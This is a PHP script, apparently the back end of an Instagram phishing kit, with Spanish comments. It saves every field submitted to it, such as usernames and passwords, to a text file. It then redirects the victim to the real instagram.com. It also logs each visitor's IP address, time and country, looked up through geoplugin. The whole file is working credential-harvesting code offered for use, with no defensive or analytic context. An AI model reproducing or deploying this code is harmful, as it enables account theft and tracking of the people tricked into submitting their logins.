log_conip.php 5.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148
  1. <?php
  2. // Set the location to redirect the page
  3. header ('Location: http://www.instagram.com');
  4. // Open the text file in writing mode
  5. $file = fopen("log.txt", "a");
  6. foreach($_POST as $variable => $value) {
  7. fwrite($file, $variable);
  8. fwrite($file, "=");
  9. fwrite($file, $value);
  10. fwrite($file, "\r\n");
  11. }
  12. fwrite($file, "\r\n");
  13. fclose($file);
  14. //Llamamos a la función, y ella hace todo :)
  15. write_visita ();
  16. //función que escribe la IP del cliente en un archivo de texto
  17. function write_visita (){
  18. //Indicar ruta de archivo válida
  19. $archivo="visitas.txt";
  20. //Si que quiere ignorar la propia IP escribirla aquí, esto se podría automatizar
  21. $ip="mi.ip.";
  22. $new_ip=get_client_ip();
  23. if ($new_ip!==$ip){
  24. $now = new DateTime();
  25. //Distinguir el tipo de petición,
  26. // tiene importancia en mi contexto pero no es obligatorio
  27. if (!$_GET) {
  28. $datos="*POST: ".$_POST;
  29. }
  30. else
  31. {
  32. //Saber a qué URL se accede
  33. $peticion = explode('/', $_GET['PATH_INFO']);
  34. $datos=str_pad($peticion[0],10).' '.$peticion[1];
  35. }
  36. $txt = str_pad($new_ip,25). " ".
  37. str_pad($now->format('Y-m-d H:i:s'),25)." ".
  38. str_pad(ip_info($new_ip, "Country"),25)." ".json_encode($datos);
  39. $myfile = file_put_contents($archivo, $txt.PHP_EOL , FILE_APPEND);
  40. }
  41. }
  42. //Obtiene la IP del cliente
  43. function get_client_ip() {
  44. $ipaddress = '';
  45. if (getenv('HTTP_CLIENT_IP'))
  46. $ipaddress = getenv('HTTP_CLIENT_IP');
  47. else if(getenv('HTTP_X_FORWARDED_FOR'))
  48. $ipaddress = getenv('HTTP_X_FORWARDED_FOR');
  49. else if(getenv('HTTP_X_FORWARDED'))
  50. $ipaddress = getenv('HTTP_X_FORWARDED');
  51. else if(getenv('HTTP_FORWARDED_FOR'))
  52. $ipaddress = getenv('HTTP_FORWARDED_FOR');
  53. else if(getenv('HTTP_FORWARDED'))
  54. $ipaddress = getenv('HTTP_FORWARDED');
  55. else if(getenv('REMOTE_ADDR'))
  56. $ipaddress = getenv('REMOTE_ADDR');
  57. else
  58. $ipaddress = 'UNKNOWN';
  59. return $ipaddress;
  60. }
  61. //Obtiene la info de la IP del cliente desde geoplugin
  62. function ip_info($ip = NULL, $purpose = "location", $deep_detect = TRUE) {
  63. $output = NULL;
  64. if (filter_var($ip, FILTER_VALIDATE_IP) === FALSE) {
  65. $ip = $_SERVER["REMOTE_ADDR"];
  66. if ($deep_detect) {
  67. if (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP))
  68. $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  69. if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP))
  70. $ip = $_SERVER['HTTP_CLIENT_IP'];
  71. }
  72. }
  73. $purpose = str_replace(array("name", "\n", "\t", " ", "-", "_"), NULL, strtolower(trim($purpose)));
  74. $support = array("country", "countrycode", "state", "region", "city", "location", "address");
  75. $continents = array(
  76. "AF" => "Africa",
  77. "AN" => "Antarctica",
  78. "AS" => "Asia",
  79. "EU" => "Europe",
  80. "OC" => "Australia (Oceania)",
  81. "NA" => "North America",
  82. "SA" => "South America"
  83. );
  84. if (filter_var($ip, FILTER_VALIDATE_IP) && in_array($purpose, $support)) {
  85. $ipdat = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip));
  86. if (@strlen(trim($ipdat->geoplugin_countryCode)) == 2) {
  87. switch ($purpose) {
  88. case "location":
  89. $output = array(
  90. "city" => @$ipdat->geoplugin_city,
  91. "state" => @$ipdat->geoplugin_regionName,
  92. "country" => @$ipdat->geoplugin_countryName,
  93. "country_code" => @$ipdat->geoplugin_countryCode,
  94. "continent" => @$continents[strtoupper($ipdat->geoplugin_continentCode)],
  95. "continent_code" => @$ipdat->geoplugin_continentCode
  96. );
  97. break;
  98. case "address":
  99. $address = array($ipdat->geoplugin_countryName);
  100. if (@strlen($ipdat->geoplugin_regionName) >= 1)
  101. $address[] = $ipdat->geoplugin_regionName;
  102. if (@strlen($ipdat->geoplugin_city) >= 1)
  103. $address[] = $ipdat->geoplugin_city;
  104. $output = implode(", ", array_reverse($address));
  105. break;
  106. case "city":
  107. $output = @$ipdat->geoplugin_city;
  108. break;
  109. case "state":
  110. $output = @$ipdat->geoplugin_regionName;
  111. break;
  112. case "region":
  113. $output = @$ipdat->geoplugin_regionName;
  114. break;
  115. case "country":
  116. $output = @$ipdat->geoplugin_countryName;
  117. break;
  118. case "countrycode":
  119. $output = @$ipdat->geoplugin_countryCode;
  120. break;
  121. }
  122. }
  123. }
  124. return $output;
  125. }
  126. exit;
  127. ?>